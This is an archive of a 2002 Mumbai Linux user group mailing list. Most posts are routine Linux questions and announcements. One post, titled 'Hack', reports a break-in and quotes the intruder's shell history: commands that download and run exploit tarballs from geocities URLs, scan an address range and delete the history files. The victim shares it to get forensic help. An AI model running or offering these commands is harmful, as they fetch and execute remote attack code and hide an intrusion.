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Re: PPTP on Linux
by Ashish Kulkarni 29 Nov '02

29 Nov '02

Ninad: hello? you send a 500kb attachment to a mailing list? assuming there are 200 people on this list, that's a bandwidth of 100MB wasted!! Do you like wasting resources this way? If you ever post to a mailing list, you post URLs to a uploaded file, or send it directly to person involved. Even a attachment of more than ~10kb is generally frowned upon in mailing lists. I sincerely hope you brush up on your netiquette. - Ashish.

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Fw: Re: [ILUG-BOM] 23 ppls registered callin for more.....linux-lunacy
by Trevor Warren 29 Nov '02

29 Nov '02

On Mon, 25 Nov 2002 19:33:02 +0530 "Amol Hatwar" <rollacosta(a)phreaker.net> wrote: > > > > Hello Luggers.... > > > > http://mlasia.mine.nu/ilug/showwho.php > > > > 17pple and calling for more.... > > > Roll me in! [snip] Pls sign up dear. The url is as stated above. Just remove the showwho.php. Also...call all of those to-be lugger who wanna have fun and learn too..:) Bye for now. Trevor > > Amol Hatwar -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/ _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/

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Re: [ILUG-BOM] Re: computer books for sale !!
by akshaysalkar 29 Nov '02

29 Nov '02

well i can assure u mister that u cant get the books for above a 20% discount at computer book shops. any ways ... just selling some books off my shelf. adios. -- linuxers(a)mm.ilug-bom.org.in wrote: akshaysalkar writes: > Does any 1 want Computer/Linux Books at a discounted rate (ie. 20%-25% >approx. off the normal price) What do you mean by "normal" price? If you mean the printed price then this is a joke indeed. You get 20%-25% discount on the MRP directly on cash payments at shops like Compter Bookshops - on NEW books. > Books in good condition. Some books are brand new. huh? quasi _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers Get Your Private, Free E-mail from Indiatimes at http://email.indiatimes.com Buy Music, Video, CD-ROM, Audio-Books and Music Accessories from http://www.planetm.co.in Change the way you talk. Indiatimes presents Valufon, Your PC to Phone service with clear voice at rates far less than the normal ISD rates. Go to http://www.valufon.indiatimes.com. Choose your plan. BUY NOW.

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mailing strategies by Tom Christiansen on clpm
by Sameer D. Sahasrabuddhe 28 Nov '02

28 Nov '02

This used to posted frequently on comp.lang.per.misc for obvious reasons - The following message will be posted periodically until observed clue-levels in these parts improve, or until the heat death of the Universe arrives. EXECUTIVE SUMMARY: To send better messages, please trim and summarize what you're replying to, and integrate your quoted text with the body of your message. Don't just put everything at the end. This isn't Jeopardy. People expect question-and-answer, not answer-and-question responses. LONG STORY: Wouldn't you like to make your messages easier for others to read and understand? If so, I have some news posting tips for you. If not, just ignore this. (Of course, if you don't want your messages easier to read and understand, it's not clear why you bother to send them in the first place. :-) I'm going to take a bit of time to explain this, because newcomers to Usenet often lack the cultural background were I to send a superbrief message. Here's the issue: you appear to have quoted the entire message to which you were replying. Worst of all, you have done so by merely appending the complete message at the bottom. Folks are used to reading the original material first, then the follow-up. That's why it's called a "follow-up", you know. :-) If all you want to do is forward a copy of the message, that's one thing, but here you seem to have just blindly pasted the complete old message at the end without providing any content. This is neither a proper public followup nor even a decent private reply. Here's why. First of all, this is massive overkill -- you're supposed to trim your quoted text to only what you're replying to. Otherwise you'll probably violate the netiquette target quoting percentage of 50%. See below. This isn't really an issue of space (I know that a few bytes here and there mean less today than 20 years go), so much as it is of integrating your comments with the old material for continuity. Second, putting everything at the bottom does little good. It doesn't provide the proper context. It's far too late. When you reply to someone's content, the reason you quote the previous message is so that you can provide some degree of contextual continuity. The best way to do this is to interleave what you're quoting with your responses to that particular piece. That means that you should provide a quoted portion, then address what the points therein, then another quoted section, etc. For example, here's how followup replies *should* look if you'd like them to be more effective. > Joe said we should eat noodles. But I don't like noodles. They are a pain to prepare -- remember that what started this thread was how to cook using only a microwave, not real cooking -- and they provide you with very little sustenance in the long run. It's like eating cardboard, nutritionally speaking. > He also suggests adding anchovies. What is this fish fetish? Not all of us like the little minnows with the lingering briny taste swimming around our mouths for the next few hours or days. Can you imagine this on a date? Iccccch! Notice how in the text above, alternate quoted passages are interleaved with new response text. Notice also that the new text far exceeds the old text. This is the way it should be. Here's an excerpt from RFC 1855, which explains why this is bad. You can read the whole RCS at http://www.faqs.org/rfcs/rfc1855.html - If you are sending a reply to a message or a posting be sure you summarize the original at the top of the message, or include just enough text of the original to give a context. This will make sure readers understand when they start to read your response. Since NetNews, especially, is proliferated by distributing the postings from one host to another, it is possible to see a response to a message before seeing the original. Giving context helps everyone. But do not include the entire original! If you are receiving this message in response to a news posting, please understand that all modern newsreaders provide a mechanism to fetch the parent article, so it is seldom necessary to quote the whole thing. Sometimes even mail readers provide this, depending on the mail headers and the list archival mechanism on your own system. Here's a section from the essential netiquette guide, "A Primer on How to Work With the Usenet Community", which is available in news.announce.newusers. Perhaps your service provider neglected to point you at this newsgroup before you got swallowed up by all of Usenet. It's not only a good read; it's critical to understanding the culture you're now moving in. Summarize What You are Following Up. When you are following up someone's article, please summarize the parts of the article to which you are responding. This allows readers to appreciate your comments rather than trying to remember what the original article said. It is also possible for your response to get to some sites before the original article. Summarization is best done by including appropriate quotes from the original article. Do not include the entire article since it will irritate the people who have already seen it. Even if you are responding to the entire article, summarize only the major points you are discussing. It's even more annoying when people needlessly quote the original's automatic trailing matter, like signatures, adverts, or disclaimers. Please don't do that. I'm honestly not trying to annoy you! I'm just trying to give tips about what works well in electronic messages, and what doesn't. This used to be standard fare before one got a Usenet account, but now something seems to be lost. -- MTech Student, Reconfigurable Computing Lab, KReSIT, IIT-Bombay. ---------------------------------------------------------------------- For there are moments when one can neither think nor feel. And if one can neither think nor feel, she thought, where is one? -- Virginia Woolf, "To the Lighthouse" [Quoted in "VMS Internals and Data Structures", V4.4, when referring to powerfail recovery.]

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Re: pptp vpn
by Ninad Purohit 28 Nov '02

28 Nov '02

hi i had the same problem the ppp-mppe module u r trying to install doesnot work with this kernel(compiled with gcc 3.2 on rh 8.0) instead search for this srpm ppp-2.4.1-demand_script-0.4-3mppe.src.rpm i have this srpm and i had infact mailed it on this list but my mail got caught in red-tape do rpmbuild --rebuild ppp-2.4.1-demand_script-0.4-3mppe.src.rpm then install the rpm created in /usr/src/redhat/RPMS/i386/ then install pptpd then install pptp-linux edit /etc/ppp/pap-secrets add this line <your username> * <your password> * save the file then edit /etc/sysconfig/network-scripts/ifcfg-eth0 and change the gateway field to 0.0.0.0 or if it doesnot exist add the line GATEWAY='0.0.0.0' save it restart network then save this command as a script in ur /bin directory /sbin/modprobe -v ppp pptp 172.16.9.1 debug noauth user <username> +pap noauth mppe-40 mppe-128 mppe-stateless defaultroute give ifconfig u should see ip addresses for pp0,eth0 and lo if so u r done enjoy the net ===== ninad purohit have a nice day :-) ________________________________________________________________________ Missed your favourite TV serial last night? Try the new, Yahoo! TV. visit http://in.tv.yahoo.com

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Desktop shortcuts and Menu Item for GNOME
by kshitijv 28 Nov '02

28 Nov '02

Hi, I am not able to create Desktop shortcuts and Menu item in GNOME. I discovered that for both KDE and GNOME, its an accepted standard to have .desktop files to represent shortcuts. File contains group and name-value pairs like: [Desktop Entry] Name= Type= Comment= I created few files for KDE and all of them worked fine. But on GNOME I am not able to run them. My concern is to provide shortcuts to HTML files. I tried to create file like: [Desktop Entry] Name=MyLink Type=Link URL=file:/home/kshitij/myApp.html Icon=/usr/share/icons/html.xpm Terminal=false MultipleArgs=false Comment=Simple HTML File link It simply doesn't work. The icon is created on Desktop but can't be executed. Although it works absolutely fine on KDE. I can create Application links in GNOME i.e. Type=Application Exec=<executable-name> This works but Links do not work. Can anybody help me? -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

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Help to query X !!
by Akhilesh S Shirbhate 28 Nov '02

28 Nov '02

After the previous quick responses... I have one more small query again! Now , I want to query the X servers.. See.. what I have to do is this: I have a deamon running... Now I give it some username It first checks if the user is presntly logged in... (either on tty or on pts ). Then I determine the delay for which the user was idle on the terminals on which he has logged in... Currently , I am doing this for tty and pts only. Now, I pop up a window on the terminal(tty ; using ncurses) on which the user is logged on and has least idle time (similar to write command's working). My deamon also has the property to popup GUI windows on X screens. But now, I have this problem : How do I determine if the user is presently logged on X ? And if he is , which DISPLAY is he using ??? Is there something like utmp (which works for tty and pts records )... for X ? I want to determine if the user has least idle time on X or on tty/pts .. I wrote the code for tty.. but what abt X ??? Please guide me.. Thanx in advance ! -- ********************************************************** * Never say die unless you are dead ! * * .oooO * * ( ) Oooo. Only those who will risk going too far * * \ ( ( ) Can possibly find out how far one can go!* * \_) ) / * * (_/ http://www.it.iitb.ac.in/~akhilesh/ * **********************************************************

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Help me !!!!!
by Akhilesh S Shirbhate 28 Nov '02

28 Nov '02

I wrote this code: void main() { execl("/usr/X11R6/bin/xclock","-display :0",NULL); sleep(10); } Now I 'xhost +' ! (To disable the access control) Now compile it and then run it! If you run it from a xterm window... The clock runs ... But if I run it from a tty.. ie the text terminal... it says "Error: Can't open Display" What is the problem ??? I want a simple program .. which must be able to exec a xclock on desktop ':0' ... when I run the program from text terminal (tty) logged in as root ! Thanks in advance !!!! -- ********************************************************** * Never say die unless you are dead ! * * .oooO * * ( ) Oooo. Only those who will risk going too far * * \ ( ( ) Can possibly find out how far one can go!* * \_) ) / * * (_/ http://www.it.iitb.ac.in/~akhilesh/ * **********************************************************

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Tervor's letter!
by Amol Hatwar 28 Nov '02

28 Nov '02

Trevor, Letter ka kya hua bhai? If you guys are interested in a more formal letter... here's something bana-banaya: http://www.symonds.net/~fsug-kochi/mass-memo.html Regards, -ah.

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Addition of Referer Log Modules In Apache
by Jaishankar Krishnan Iyer 28 Nov '02

28 Nov '02

Hi, I have recompiled the Apache 1.3.20 to add the referer log modules of on our web server. ./httpd -l results Compiled-in modules: http_core.c mod_env.c mod_log_config.c mod_log_agent.c mod_log_referer.c mod_mime.c mod_negotiation.c mod_status.c mod_include.c mod_autoindex.c mod_dir.c mod_cgi.c mod_asis.c mod_imap.c mod_actions.c mod_userdir.c mod_alias.c mod_rewrite.c mod_access.c mod_auth.c mod_setenvif.c mod_php4.c mod_dav.c suexec: disabled; invalid wrapper /usr/local/apache/bin/suexec I have also enabled the log format under httpd.conf with the result the logs files are referer_log file is created under /logs. The problem now is, this log file referer_log does not get updated when this server URL link is accessed from other Servers/Programs. Would appreciate if somebody can give pointers to this about what is missing. Let me know if any more details are required. Thanks and Rgds Jaishankar jkiyer67(a)rediffmail.com

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Addition of Referer Log Modules In Apache
by Jaishankar Krishnan Iyer 28 Nov '02

28 Nov '02

Hi, I have recompiled the Apache 1.3.20 to add the referer log modules of on our web server. ./httpd -l results Compiled-in modules: http_core.c mod_env.c mod_log_config.c mod_log_agent.c mod_log_referer.c mod_mime.c mod_negotiation.c mod_status.c mod_include.c mod_autoindex.c mod_dir.c mod_cgi.c mod_asis.c mod_imap.c mod_actions.c mod_userdir.c mod_alias.c mod_rewrite.c mod_access.c mod_auth.c mod_setenvif.c mod_php4.c mod_dav.c suexec: disabled; invalid wrapper /usr/local/apache/bin/suexec I have also enabled the log format under httpd.conf with the result the logs files are referer_log file is created under /logs. The problem now is, this log file referer_log does not get updated when this server URL link is accessed from other Servers/Programs. Would appreciate if somebody can give pointers to this about what is missing. Let me know if any more details are required. Thanks and Rgds Jaishankar jkiyer67(a)rediffmail.com

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Mozilla 1.2 is out. Go grabbit!
by Tahir Hashmi 28 Nov '02

28 Nov '02

Hi all! Mozilla 1.2 is out and here's the hot stuff: - Xft is now available in the stable branch (it rocks!) - "Type Ahead Find" enables you to search for text a la vi and jump to links w/o using mouse - Document Prefetching is now enabled Tip: Galeon users should set the MOZILLA_FIVE_HOME environment variable to the install-dir of Mozilla 1.2 for AA rendering in Galeon too. I haven't had any issues so far (~ 30 mins). -- Tahir Hashmi (VSE, NCST) http://staff.ncst.ernet.in/tahir tahir AT ncst DOT ernet DOT in We, the rest of humanity, wish GNU luck and Godspeed

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Re: [ILUG-BOM] Redhat 8 CD's
by slash_axl_rose_upen 27 Nov '02

27 Nov '02

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[OT]New to ILUG-BOM
by Natarajan V 27 Nov '02

27 Nov '02

Hi, I am Natarajan, and have come to Mumbai recently. One of the first things that I did was to subscribe to iLUG-BOM. I was and still a member of iLug Chennai. I would like to attend the meetings of ILUG-BOM. It would be nice if someone could throw some light on how to reach the place and such details... ( I am completely new to Mumbai, and Hindi is one of my weakpoints.). I would also like to know the general activities and strategy of the group. Is it something like ilug-chennai, which is completely free for all, or does it have a slight commercial tilt .. or something..... Thanks for the info. Regards Natarajan

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Network Speed Problem 10Mbps?
by Zaheer Khan 27 Nov '02

27 Nov '02

hi folks Well having problem with the network speed on linux 7.3, i get 70% packed loss on the local network. at the same time this machine also (dual boot) runs win2k pro and i dont have a problem with the network on windows. In windows network its 10Mbps/half duplex..and i checked in linux with mii-tool...its 10Mbps/half duplex only...any suggestions...?? NIC is realtek based 8139 Thanks in advance ZK -- Zaheer S. Khan Network Administrator Intelecorp Software (I) Pvt. Ltd. 501, Casablanca, Sec-11 CBD, Belapur Ph: +91 22 7580369 Telefax: +91 22 7580369 "The greatest RISK in life is to take NONE" --

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[OT] - Freelance Project - CGI/Perl
by Kapil Karekar 27 Nov '02

27 Nov '02

Hi Luggers ...:-) I have a project which is to be done using CGI/Perl. I am looking out for a good Perl programmer. You can also consider this as the first project for the Developer Network that is coming up :-)) If you can complete the project send me a mail at: kapil_karekar [at] vsnl [dot] net Include the number of days that you would require to complete the project and examples of your previous works(URLs) in the mail. Project Description: I need a Listings Management program for Real Estate web sites. The program should provide an interface for website visitors to browse and search realty listings and provide a powerful password protected administration tool that can add, modify and delete realty listings and listing images. HTML templates should be used so that the interface can be changed in a simple manner. Happy Linuxing :-)) Kapil Karekar --------------------------------------- Let's build a Free Software Economy. ---------------------------------------

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computer books for sale !!
by akshaysalkar 27 Nov '02

27 Nov '02

Does any 1 want Computer/Linux Books at a discounted rate (ie. 20%-25% approx. off the normal price) Books in good condition. Some books are brand new. (Costs after Discount) 1) Teach yourself HTML4 in 24 hours - Oliver/Holshwag Rs. 80 - Techmedia 2) Mastering Foxpro 2.5 Special Edition - Siegel - Rs. 225 - BPB 3) ObjectOriented Software Engineering - Haladay - Rs. 150 4) Teach yourself UML in 24 hours - Schmuler - Rs. 113 5) Java Software Solutions - Lewis - Rs. 260 6) Understanding Pointers in C - Kanetkar - Rs. 113 7) Write TSR's now - Ras - Rs. 75 8) Problems in General Physics - Irodov - Rs. 113 9) Programming Perl 3/e - Wall - Rs. 450 10) Professional Linux Programming - Mathews - Rs. 410 11) Using Linux - Gunter - Rs. 270 anybody wanting any of the above books plz. contact me at email : akshaysalkar(a)indiatimes.com or telephone on 2052404. (plz. leave msg./name/telephone if i am not there) akshay. Get Your Private, Free E-mail from Indiatimes at http://email.indiatimes.com Buy Music, Video, CD-ROM, Audio-Books and Music Accessories from http://www.planetm.co.in Change the way you talk. Indiatimes presents Valufon, Your PC to Phone service with clear voice at rates far less than the normal ISD rates. Go to http://www.valufon.indiatimes.com. Choose your plan. BUY NOW.

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IMAP server with virtual hosting.
by Amish Munshi 27 Nov '02

27 Nov '02

Hi, I forgot to mention, which IMAP server is best for virtual hosting with qmail? I would prefer a one that is more difficult to configure rather than a one which has few security bugs. Thanks. Bye.

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Re: [ILUG-BOM] NEED 'NET SEND' FOR LINUX !
by Nikhil Kale 27 Nov '02

27 Nov '02

you can take a look at gipmsg http://gipmsg.sourceforge.net/ HTH, Nikhil Nikhil Kale Software Engineer. Mahindra British Telecom Ltd. NikhilKale(a)linuxmail.org NikhilKale(a)indiatimes.com ----- Original Message ----- From: Akhilesh S Shirbhate <akhilesh(a)it.iitb.ac.in> Date: Wed, 27 Nov 2002 05:03:16 +0530 To: linuxers(a)mm.ilug-bom.org.in Subject: [ILUG-BOM] NEED 'NET SEND' FOR LINUX ! > Hey guys, > anything like this on the net (with code) ??? > Its urgent ! Please help me out ! > What I need is a messaging system like the net-send utility in wondows > which will work on linux systems. There should be a deamon which on > reception of a message from a client will show the message as a pop up > screen if the user is logged in a GUI window manager. In case the > intended user for the message is logged into the text terminal, the > message should go to the terminal which was most recently used. There > will be a client program which will allow entering a message for the > destined user. The client program should be commandline based but will > also have GUI interface to be used if the user is logged into a > graphical window manager. It will also allow to save a directory of > destination users containing the IP address, machine name and login > names in a configuration file. If a message reaches a destination, the > destination should be able to respond to those messages. > > -- > ********************************************************** > * Never say die unless you are dead ! * > * .oooO * > * ( ) Oooo. Only those who will risk going too far * > * \ ( ( ) Can possibly find out how far one can go!* > * \_) ) / * > * (_/ http://www.it.iitb.ac.in/~akhilesh/ * > ********************************************************** > > > > > _______________________________________________ > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > > -- ______________________________________________ http://www.linuxmail.org/ Now with POP3/IMAP access for only US$19.95/yr Powered by Outblaze

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NEED 'NET SEND' FOR LINUX !
by Akhilesh S Shirbhate 27 Nov '02

27 Nov '02

Hey guys, anything like this on the net (with code) ??? Its urgent ! Please help me out ! What I need is a messaging system like the net-send utility in wondows which will work on linux systems. There should be a deamon which on reception of a message from a client will show the message as a pop up screen if the user is logged in a GUI window manager. In case the intended user for the message is logged into the text terminal, the message should go to the terminal which was most recently used. There will be a client program which will allow entering a message for the destined user. The client program should be commandline based but will also have GUI interface to be used if the user is logged into a graphical window manager. It will also allow to save a directory of destination users containing the IP address, machine name and login names in a configuration file. If a message reaches a destination, the destination should be able to respond to those messages. -- ********************************************************** * Never say die unless you are dead ! * * .oooO * * ( ) Oooo. Only those who will risk going too far * * \ ( ( ) Can possibly find out how far one can go!* * \_) ) / * * (_/ http://www.it.iitb.ac.in/~akhilesh/ * **********************************************************

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regarding basics of linux networking
by alex pereira 27 Nov '02

27 Nov '02

I am just starting on linux and would like to know if anybody can conduct or suggest a small workshop on linux to configure dhcp dns squid and sendmail. thank you Alex _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Meeting date
by Amish K. Munshi 27 Nov '02

27 Nov '02

Hi, Any points to be covered in the next meeting guys? And is 8th a proper date. Bye.

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Computer Books for Sale !
by akshaysalkar 27 Nov '02

27 Nov '02

Does any 1 want Computer/Linux Books at a discounted rate (ie. 20%-25% approx. off the normal price) Books in good condition. Some books are brand new. (Costs after Discount) 1) Teach yourself HTML4 in 24 hours - Oliver/Holshwag Rs. 80 - Techmedia 2) Mastering Foxpro 2.5 Special Edition - Siegel - Rs. 225 - BPB 3) ObjectOriented Software Engineering - Haladay - Rs. 150 4) Teach yourself UML in 24 hours - Schmuler - Rs. 113 5) Java Software Solutions - Lewis - Rs. 260 6) Understanding Pointers in C - Kanetkar - Rs. 113 7) Write TSR's now - Ras - Rs. 75 8) Problems in General Physics - Irodov - Rs. 113 9) Programming Perl 3/e - Wall - Rs. 450 10) Professional Linux Programming - Mathews - Rs. 410 11) Using Linux - Gunter - Rs. 270 anybody wanting any of the above books plz. contact me at email : akshaysalkar(a)indiatimes.com or telephone on 22052404. (plz. leave msg./name/telephone if i am not there) akshay. Get Your Private, Free E-mail from Indiatimes at http://email.indiatimes.com Buy Music, Video, CD-ROM, Audio-Books and Music Accessories from http://www.planetm.co.in

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Unsubscribed...automatically !!!
by Sumukh Sirmokadam 27 Nov '02

27 Nov '02

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hardware-motherboard
by slash_axl_rose(upen) 27 Nov '02

27 Nov '02

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(no subject)
by vinayak_hegde＠softhome.net 26 Nov '02

26 Nov '02

Hello linuxers, Dr Nagarjuna had posted this URL sometime ago http://www.symonds.net/~fsug-kochi/mass-memo.html There's a dicussion that started on slashdot regarding the memo. As usual, most of the posts on slashdot regarding this are insightful and interesting. Heres's the URL http://yro.slashdot.org/yro/02/11/26/0230258.shtml?tid=109 ************** Vinayak Hegde APGDST Student NCST-Juhu **************

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Re: [ILUG-BOM] Installing & configuring ZOPE
by The Linuxer 26 Nov '02

26 Nov '02

Dear Dr. Nagarjuna Sir, I did check whether Zope was already running using the 'ps aux' command. But Zope was not in that list of processes running on the PC. So please guide me as to how can I install & run the Z Server. With regards, Bhaskar Ghose. Microsoft is not the answer. Microsoft is the question. NO (or Linux) is the answer. ~thelinuxer(a)hotmail.com~ _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Re:[OT] New to ILUG-BOM
by Natarajan V 26 Nov '02

26 Nov '02

Hi Kishore!, Thanks for spending Rs 2.00 by replying to my mail :P. As of the guidelines to the venues, I wasnt able to find any links in the website. That was the reason why I made the post. I heard that B'lore LUG is aided by commercial organizations, has a bank account of its own, and so on... Being new to Mumbai LUG, I was curious to know about that. After finding some time to go through some of the message archives, I do understand that Mumbai LUG is a bit similar to Chennai LUG. It would be nice, if you could give me the link/directions of the venue, and if possible including the train/bus routes etc... Cheers Natarajan kishor bhagwat wrote: >did you read the mailing list contract when you signed up? >i dont know abt ilug-chennai, but here you are charged for >every mail you send on the LUG.This goes towards >maintaining the mail server.The first 5 mails are free, >after that you pay 1Re per mail.Cash left after paying for >the site hosting is blown up at the LUG meets for pizzas >and drinks. >You will receive a monthly statement of your dues. >We also charge 2% of your first month's salary for jobs you >get through ads on this mailing list.posting of job ads is >free. >For every professional services contract you get through >the LUG mailing list you will have to contribute 2 boxes of >debian cds to the LUG. >Over and above all this, the LUG Core Commitee might impose >a fine for every blazingly nonsensical, irrelevant and/or >MS-supporting mails. > >Welcome to the real world! > >regds, >Kishor >PS: the directions to the meeting place are on the site...

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Open source Vs Free software (Kerberos 5)
by vinayak_hegde＠softhome.net 26 Nov '02

26 Nov '02

hi linuxers, This is a paragraph from the latest issue of network magazine (international edition) <quote> Microsoft added its own proprietary authorization data-the list of Security IDs (SIDs) that are associated with an authenticated user within each ticket-to tickets within its implementation of Kerberos 5. Kerberos uses principles, or structured names, for authorization, but left room in RFC1510 for vendor-based extensions, such as the one Microsoft designed. While this extension is not terribly useful on Unix systems participating in a domain, Microsoft's refusal to share the details of the extensions means that mixed Kerberos domains must use a Windows 2000 DC, instead of a Unix KDC that an organization might prefer. Microsoft's secret extensions are the second reason Microsoft chose to use an open source security protocol. </quote> Here is the link to the full aricle http://www.networkmagazine.com/article/printableArticle?doc_id=NMG20021104S0 007 What worries me is that as in the case above M$ badmouths open source/ free software and uses it when it is to their advantage. As in the case above, the open source concept weakens the free software philosophy. Also another point which struck me in the above paragraph was that M$/ propriety vendors can use open source to their advantage by developing their extensions and use open source code in their applications. GPL (copylefting) takes care of this by requiring extensions/modifiactions to be turned back into the community. Open source has none of this "restrictions" (the programmer himself has chosen to use open source code so, actually they are not restrictions). What M$ managed to do is that people having mixed kerberos domains (which is usually the case in corporates/large organisations) "are forced" to use windows KDC which is wrong. Also if there are some security flaws, one cannot fix them leaving the windows KDC open to attacks. ************** Vinayak Hegde APGDST Student NCST-Juhu **************

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Turning syntax highlighting on in ViM editor.
by The Linuxer 25 Nov '02

25 Nov '02

Hi, Can anybody please tell me how to turn on Syntax highlighting (for C & C++ programs) in the ViM editor? I use SuSE Linux 8.0 Thanx in advance. B.Ghose. ======== Microsoft is not the answer. Microsoft is the question. No (or GNU/Linux) is the answer. ~thelinuxer(a)hotmail.com~ _________________________________________________________________ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus

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Can someone sell this to Bollywood then...
by Frederick Noronha 25 Nov '02

25 Nov '02

------------------------------------------------------------------ DESKTOPLINUX: FILM GIMP--LIGHTS, CAMERA, LINUX! "Film Gimp is a popular open source tool in feature motion pictures. It has been used in Scooby-Doo, Harry Potter, Stuart Little, and other films. Robin Rowe answers some questions about the progress of Film Gimp and other projects..." COMPLETE STORY: http://www.desktoplinux.com/articles/AT7096363910.html ------------------------------------------------------------------ Courtesy: LinuxTodayNews

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Hack
by mails＠munshi.dyndns.org 25 Nov '02

25 Nov '02

Hello, Well, I have been hacked and my /var/log/messages has next to nothing in it. I am keen on getting to this person who did it. Fortunely I have not lost a lot any important data. But first the proof that I have been hacked. /var/log/messages (This is the first line) Nov 18 02:22:53 munshi userdel[8048]: delete user `ftp' Nov 18 02:22:53 munshi userdel[8048]: remove group `ftp' Nov 18 06:24:41 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:32:21 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:40:01 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$ The part after 6:24 is proper, but my net wasnt working at that time (this is a normal thing and I do not susspect the hacker to do this, it is a normal thing and happens almost everyday, I get loggedout from my servers, the network is up but I cant access the internet also other from the outside world cant access my PC), so there are warning messages by my automatic IP updater from 6:24 onwards. What I am amazed is that after an entry at 2:22am there is an entry at 6:24, so someone has definately hacked and deleted the middle section, he probably left the upper part just to misguide us. The .bas* were deleted, but unfortunately for the hacker the .bash_histrory has some important data there, cd /dev/ida/.sys/trojan wget www.geocities.com/master0n/bestwu.tgz tar zxvf bestwu.tgz cd aw make ./awu 24.132 cd .. lsd ls rm -rf aw bestwu.tgz ls wget www.geocities.com/dont_haxer/b.tgz tar zxvf b.tgz rm -rf b.tgz cd .b ./bash ./bash cd /root rm -rf .bas* After that is what I had been doing. So that is the last entry. So my .bash_profile has been deleted and that is how I came to know that something i wrong, I have not rebooted my system as yet, and do not thing it is necessary. There are a few other things that amaze me here are 1. First is the time 2:22am to 6:24am is free where as there should have been entries from ddclient, a program that I am running. 2. The /dev/ida/.sys directory should exist since that is where the above commands have been run and there is no command that is deleting that directory in .bash_history. 3. netstat -a, ps ax are not working since the required libraries are not present, so I cant check which ports are open. The error given by netstat -a is bash# netstat -a sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 cat: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.net: Too many open files in system bash# ps ax sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.pstmp: Too many open files in system cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory top is working fine but does not show me any problems 4. wget was downloading mandrake for me, it should have got disconnected since my net wasnt working, but it is still continuing to download the ISO's for me. Also another amazing thing is that wget was downloading 2nd ISO when I logged in and just downloaded 114MB of it and switchedover to 3rd ISO. INFO Working on RH6.2, full installation. telnet was off, ssh is not there, ddclient may have opened a few ports that I may have not noticed, I just downloaded and installed ddclient just two days back, but it is a perl script, I have not yet gone through that script as yet. Please help me to find the person who did this. Thanks in advance. Bye.

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squid and NIS
by slash_axl_rose_upen 25 Nov '02

25 Nov '02

Hi i hav 2 ques for all u 1.>which is most famous proxy server linux servers use?why most isps choose squid??? 2>what is NIS and what is its equivalent in windows??? --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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Re: [ILUG-BOM] Mail server?
by Ashok Iyer 25 Nov '02

25 Nov '02

Hi Amish, > I am going live with a complete webhosting and domain name >providing >service. I need to know which is the best mail server for this >purpose. I have worked both with sendmail and qmail and have a few live imstallations of both. My experience tells me that you can safely go with qmail. Remember though, that qmail does not serialize mail. It sends mail on the wire as aoon as it is received. So if you need to serialize your mails, maybe postfix is a better choice- I guess it does this. For virtual hosting in sendmail, maybe the vhost package does what you want but I am not sure. google for it. qmail+OpenLDAP rocks for me. -- ashok

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Re: [ILUG-BOM] Installing & configuring ZOPE
by Baishampayan Ghose 25 Nov '02

25 Nov '02

Hi! I use SuSE Linux 8.0 on a P4 based machine. Can anybody tell me how to install & configure Zope ? I can see that Zope is already installed on my PC ( in the /opt directory). The Doc pages say that I need to compile a .py file which I simply couldn't locate. Please help. Thanx. Bhaskar Ghose. ======= Microsoft is not the answer. Microsoft is the question. No [or GNU /Linux] is the answer. _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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When traversing a linked list
by Satya 25 Nov '02

25 Nov '02

When traversing a linked list, be sure to: 1. initialize your temp pointer 2. advance your temp pointer <bart simpson mode> for(i=0;i<bb_size;i++) { fprintf(bb,"I will not leave my temp pointer uninitialised"); } for(i=0;i<bb_size;i++) { fprintf(bb,"I will not forget to advance my temp pointer"); } </bart simpson mode> Mostly, read http://www.livejournal.com/users/satyap/ -- Satya. <URL:http://satya.virtualave.net/> I need a job! Perl, Apache, Linux, C. http://www-scf.usc.edu/~phanse/resume.pdf Computers are not intelligent. They only think they are.

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Mail server?
by Amish K. Munshi 25 Nov '02

25 Nov '02

Hi, I know I am asking a wrong question just as many have but I am asking just becuse of a little nervousness. I really need help on this one and the only reason I am asking this is to know how much help I will get on any mail server. on this list. I am going live with a complete webhosting and domain name providing service. I need to know which is the best mail server for this purpose. As always the choices are qmail,sendmail, postfix and exim. I have worked with qmail, postfix and sendmail with decreasing order of knowledge about hem. I have never installed exim. Other question is that, does sendmail provide virtual hosting. I have used virtual hosting but that was as system users in sendmail. I want completely transperent virtual hosting. So a amish{at}munshi.dyndns.org will not be any diferent from amish{at}munshi.d2g.com. That will not do my needs. Sorry guys for this question, but its a little more than just a same question. Bye.

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Execute as root on apache
by Amish Munshi 24 Nov '02

24 Nov '02

